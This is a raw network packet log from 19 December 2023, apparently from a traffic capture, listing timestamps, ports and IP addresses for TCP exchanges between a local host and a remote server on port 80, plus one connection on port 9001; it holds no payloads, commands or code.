Dec 19, 2023 03:22:36.416238070 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416280985 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.416285992 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416320086 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416368961 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416372061 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.416439056 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416476965 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.416527987 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416692972 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416723967 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.416778088 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416862011 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.416909933 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.749365091 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.749566078 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.749578953 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.749589920 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.749613047 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.749648094 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750343084 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750360012 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750413895 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750421047 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750451088 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750490904 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750550985 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750569105 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750581980 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750611067 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750613928 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750633001 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750657082 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750704050 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750744104 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750771999 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750785112 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750806093 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750819921 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750822067 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750838041 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750850916 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750859022 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750893116 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.750897884 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750946045 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750961065 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750972986 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.750983953 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.751009941 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.751323938 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751364946 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751380920 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751406908 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.751441002 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751456976 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751485109 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.751538038 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751554966 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751578093 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:36.751631975 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:36.751673937 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.084691048 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.084760904 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.084774971 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.084808111 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.084845066 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.084881067 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.084918022 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085084915 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085129023 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.085179090 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085289001 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085328102 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.085639000 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085695982 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085737944 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.085787058 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085860968 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.085897923 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.085963011 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086061954 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086103916 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.086147070 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086253881 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086294889 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.086345911 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086420059 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086457014 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.086487055 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086581945 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086621046 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.086649895 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086720943 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086756945 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.086803913 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086882114 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.086918116 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.087179899 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087281942 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087317944 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.087366104 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087431908 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087475061 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.087505102 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087541103 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087562084 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087579012 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.087642908 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087681055 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.087688923 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087807894 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.087845087 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.087923050 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088011026 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088044882 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.088090897 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088179111 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088215113 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.088269949 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088339090 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088382959 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.088433027 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088517904 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088557005 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.088610888 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088725090 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088761091 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.088813066 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088881969 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.088951111 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.088969946 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089036942 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089075089 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.089242935 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089375973 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089428902 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089431047 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.089530945 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089567900 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.089595079 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089677095 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.089713097 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.089765072 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.090645075 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.090682983 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.090702057 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.090789080 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.090826988 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.090861082 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.090956926 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.090996981 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.091044903 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.091300011 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.091337919 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.091409922 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.091605902 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.091650963 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.248445034 CET	49743	9001	192.168.2.4	5.59.227.51
Dec 19, 2023 03:22:37.419317961 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.419389963 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.419433117 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.419636011 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.419703007 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.419740915 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429060936 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429080009 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429101944 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429120064 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429203033 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429239988 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429291964 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429406881 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429442883 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429442883 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429491997 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429527998 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429594040 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429650068 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429692030 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429760933 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429831028 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429847002 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.429868937 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.429974079 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430010080 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.430054903 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430075884 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430113077 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.430195093 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430263042 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430305004 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.430335045 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430351019 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430387974 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.430455923 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430531979 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430572033 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.430706024 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430744886 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430784941 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.430900097 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430955887 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.430990934 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.431025028 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431145906 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431185961 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.431237936 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431339025 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431380033 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.431410074 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431494951 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431530952 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.431560040 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431653976 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431694031 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.431761980 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431830883 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.431866884 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.432183981 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432265043 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432301044 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.432346106 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432408094 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432435036 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.432503939 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432569981 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432612896 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.432637930 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432703018 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432739973 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.432769060 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432832003 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.432866096 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.432889938 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433012009 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433048964 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.433106899 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433141947 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433182955 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.433259010 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433322906 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433361053 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.433414936 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433465004 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433501959 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.433561087 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433650970 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433687925 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.433731079 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433768988 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433805943 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.433847904 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433928967 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.433965921 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.434011936 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434079885 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434114933 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.434305906 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434393883 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434439898 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.434439898 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434514046 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434559107 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.434633017 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434696913 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434734106 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434736013 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.434808016 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434854984 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.434883118 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.434988976 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435023069 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.435070992 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435132980 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435169935 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.435291052 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435370922 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435411930 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.435441017 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435518980 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435563087 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.435615063 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435695887 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.435736895 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.435736895 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.482809067 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.772866011 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.772945881 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.772957087 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.772999048 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773000002 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773044109 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773053885 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773068905 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773103952 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773128033 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773215055 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773226023 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773261070 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773370981 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773407936 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773456097 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773515940 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773566008 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773612976 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773715973 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773756981 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773801088 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773873091 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.773912907 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.773946047 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774003029 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774041891 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774070024 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774137974 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774204016 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774225950 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774267912 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774307966 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774358988 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774461031 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774478912 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774498940 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774540901 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774580002 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774622917 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774657011 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774697065 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774739981 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774815083 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774852037 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774874926 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774890900 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.774925947 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.774991989 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775033951 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775070906 CET	49747	80	192.168.2.4	211.53.230.67
Dec 19, 2023 03:22:37.775136948 CET	80	49747	211.53.230.67	192.168.2.4
Dec 19, 2023 03:22:37.775218964 CET	80	49747	211.53.230.67	192.168.2.4
